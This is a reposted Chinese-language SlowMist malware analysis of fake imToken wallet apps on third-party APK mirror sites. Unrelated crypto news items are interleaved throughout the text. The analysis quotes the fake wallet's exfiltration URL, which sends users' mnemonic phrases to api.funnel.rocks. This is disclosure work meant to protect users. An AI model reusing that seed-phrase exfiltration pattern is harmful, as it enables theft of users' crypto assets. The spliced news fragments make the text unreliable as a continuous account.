Web3 假錢包第三方源調查分析：如何甄別網絡釣魚攻擊？_WEB

慢霧安全團隊建議使用錢包、交易所時請認準官方下載渠道并從多方進行驗證。

原文：https://foresightnews.pro/article/h5Detail/31716

作者：山&耀

轉自：ForesightNews

背景

基于區塊鏈技術的Web3正在驅動下一代技術革命，越來越多的人開始參與到這場加密浪潮中，但Web3與Web2是兩個截然不同的世界。Web3世界是一個充滿著各種各樣的機遇以及危險的黑暗森林，身處Web3世界中，錢包則是進入Web3世界的入口以及通行證。

當你通過錢包在Web3世界中探索體驗諸多的區塊鏈相關應用和網站的過程中，你會發現在一條公鏈上每個應用都是使用錢包「登錄」；這與我們傳統意義上的「登錄」不同，在Web2世界中，每個應用之間的賬戶不全是互通的。但在Web3的世界中，所有應用都是統一使用錢包去進行「登錄」，我們可以看到「登錄」錢包時顯示的不是「LoginwithWallet」，取而代之的是「ConnectWallet」。而錢包是你在Web3世界中的唯一通行證。

Circle聯創：OKX AA錢包支持USDC支付Gas，或將成為Web3錢包的普遍模式:8月8日消息，Circle聯合創始人兼首席執行官Jeremy Allaire轉推稱，OKX AA錢包現已支持USDC支付Gas，預計到2023年底，這將成為Web3錢包應用程序中普遍存在的模式。

此前報道，OKX AA錢包首期功能已支持用戶在以太坊、Arbitrum、Optimism等7條公鏈上創建AA智能合約錢包，并使用穩定幣USDT/USDC直接支付Gas，此外OKXAA錢包已經實現了開源智能合約代碼。[2023/8/8 21:31:35]

俗話說高樓之下必有陰影，在如此火熱的Web3世界里，錢包作為入口級應用，自然也被黑灰產業鏈盯上。

在Android環境下，由于很多手機不支持GooglePlay或者因為網絡問題，很多人會從其他途徑下載GooglePlay的應用，比如：apkcombo、apkpure等第三方下載站，這些站點往往標榜自己App是從GooglePlay鏡像下載的，但是其真實安全性如何呢？

波卡生態Web3多鏈錢包Talisman宣布全面支持與以太坊兼容的平行鏈:6月24日消息，波卡生態Web3多鏈錢包Talisman宣布全面支持與以太坊兼容的平行鏈，包括Moonbeam Network、MoonriverNW、Astar Network、Shiden Network和Acala Network等網絡。[2022/6/24 1:29:13]

網站分析

鑒于下載途徑眾多，我們今天以apkcombo為例看看，apkcombo是一個第三方應用市場，它提供的應用據官方說大部分來源于其他正規應用商店，但事實是否真如官方所說呢？

我們先看下apkcombo的流量有多大：

據數據統計站點similarweb統計，apkcombo站點：

Gemini成立研究和設計工作室Superlunar以促進Web3采用:5月3日消息，Gemini推出了一個名為Superlunar的研究和設計工作室，旨在提高Web3產品的采用率。

Superlunar將研究、設計和開發專注于安全性和可用性的去中心化應用程序。通過簡化用戶體驗，它希望提高用戶對加密領域的信任，從而使Web3像Web2一樣被大規模采用。（The Block）[2022/5/3 2:47:57]

全球排名：1,809國家排名：7,370品類排名：168我們可以看到它的影響力和流量都非常大。它默認提供了一款chromeAPK下載插件，我們發現這款插件的用戶數達到了10W：

那么回到我們關注的Web3領域中錢包方向，用戶如果從這里下載的錢包應用安全性如何？我們拿知名的imToken錢包為例，其GooglePlay的正規下載途徑為：https://play.google.com/store/apps/details?id=im.token.app

印度Web3風投公司Woodstock正在為新基金籌集1億美元:2月16日消息，據Blockworks 援引消息人士的話稱，總部位于印度的Web3風險投資公司Woodstock正在為新基金Woodstock Capital FundII籌集1億美元，該基金首次面向美國投資者，計劃在3月底完成籌資，這與該公司的第一只基金Woodstock Capital FundI不同，后者專注于種子階段的投資機會，并面向與美國以外的投資者。Woodstock之前的投資包括Web3項目，如 Covalent、Marlin 和 Polygen， NFT 平臺 Terra Virtua 和 MetaSky，以及 DeFi 初創公司 ParaSwap 和 UniLend等。[2022/2/16 9:54:27]

由于很多手機不支持GooglePlay或者因為網絡問題，很多人會從這里下載GooglePlay的應用。而apkcombo鏡像站的下載路徑為：https://apkcombo.com/downloader/#package=im.token.app

YouTube探索Web3.0和區塊鏈技術:金色財經報道，谷歌旗下的視頻平臺YouTube宣布，它正在基于 Web3.0和區塊鏈技術進軍NFT和元宇宙。YouTube在美國時間2 月10日由首席產品官 Neil Mohan 撰寫的一篇博文中表示，希望在“更深層次”上將藝術家與他們的觀眾聯系起來，并探索 Web3.0等最新技術的應用，從而讓創作者、觀眾與廣告合作伙伴都能獲得最大利益。。

在博文中，Mohan 表示 YouTube 希望為粉絲提供一種可驗證的方式，讓他們擁有來自他們最喜歡的創作者的獨特視頻、照片、藝術，甚至是 NFT 體驗。在源于元宇宙的建設方面，Mohan 表示 YouTube 可以讓用戶在元宇宙中一起觀看視頻。目前，YouTube 上的元宇宙將專注于展示與游戲相關的視頻，讓它們感覺更生動。Mohan 還表示，YouTube 希望對 Web3.0應用程序采取負責任的態度。“要確保我們以負責任的方式使用這些新技術，需要考慮很多因素，但我們認為也有令人難以置信的潛力。”

此外，Mohan 還談到了 YouTube 即將推出的一些其他功能，例如頻道指南、直播的分類評論和 YouTube 短片的超級留言。[2022/2/13 9:48:03]

上圖我們可以發現，apkcombo提供的版本為24.9.11，經由imToken確認后，這是一個并不存在的版本！證實這是目前市面上假imToken錢包最多的一個版本。

在編寫本文時imToken錢包的最新版本為2.11.3，此款錢包的版本號很高，顯然是為了偽裝成一個最新版本而設置的。

如下圖，我們在apkcombo上發現，此假錢包版本顯示下載量較大，此處的下載量應該是爬取的GooglePlay的下載量信息，安全起見，我們覺得有必要披露這個惡意App的來源，防止更多的人下載到此款假錢包。

同時我們發現類似的下載站還有如：uptodown下載地址：https://imtoken.br.uptodown.com/android

我們發現uptodown任意注冊即可發布App，這導致釣魚的成本變得極低：

錢包分析

在之前我們已經分析過不少假錢包的案例，如：2021-11-24我們披露：《慢霧：假錢包App已致上萬人被盜，損失高達十三億美元》，所以在此不再贅述。

我們僅對apkcombo提供版本為24.9.11這款假錢包進行分析，在開始界面創建錢包或導入錢包助記詞時，虛假錢包會將助記詞等信息發送到釣魚網站的服務端去，如下圖：

根據逆向APK代碼和實際分析流量包發現，助記詞發送方式：

https://api.funnel.rocks/api/trust?aid=10&wt=1&os=1&key=<助記詞>

看下圖，最早的「api.funnel.rocks」證書出現在2022-06-03，也就是攻擊開始的大概時間：

俗話說一圖勝千言，最后我們畫一個流程圖：

總結

目前這種騙局活動不僅活躍，甚至有擴大范圍的趨勢，每天都有新的受害者受騙。用戶作為安全體系最薄弱的環節，應時刻保持懷疑之心，增強安全意識與風險意識，當你使用錢包、交易所時請認準官方下載渠道并從多方進行驗證；如果你的錢包從上述鏡像站下載，請第一時間轉移資產并卸載該軟件，必要時可通過官方驗證通道核實。

同時，如需使用錢包，請務必認準以下主流錢包App官方網址：

imToken錢包：https://token.im/TokenPocket錢包：https://www.tokenpocket.pro/TronLink錢包：https://www.tronlink.org/比特派錢包：https://bitpie.com/MetaMask錢包：https://metamask.io/TrustWallet：https://trustwallet.com/請持續關注慢霧安全團隊，更多Web3安全風險分析與告警正在路上。

致謝：感謝在溯源過程中imToken官方提供的驗證支持。

由于保密性和隱私性，本文只是冰山一角。慢霧在此建議，用戶需加強對安全知識的了解，進一步強化甄別網絡釣魚攻擊的能力等，避免遭遇此類攻擊。更多的安全知識建議閱讀慢霧出品的《區塊鏈黑暗森林自救手冊》。

?

Tags：WEBWEB3COMAPKweb3.0幣種怎么提現Web3 InuXT.comMETAPK

世界幣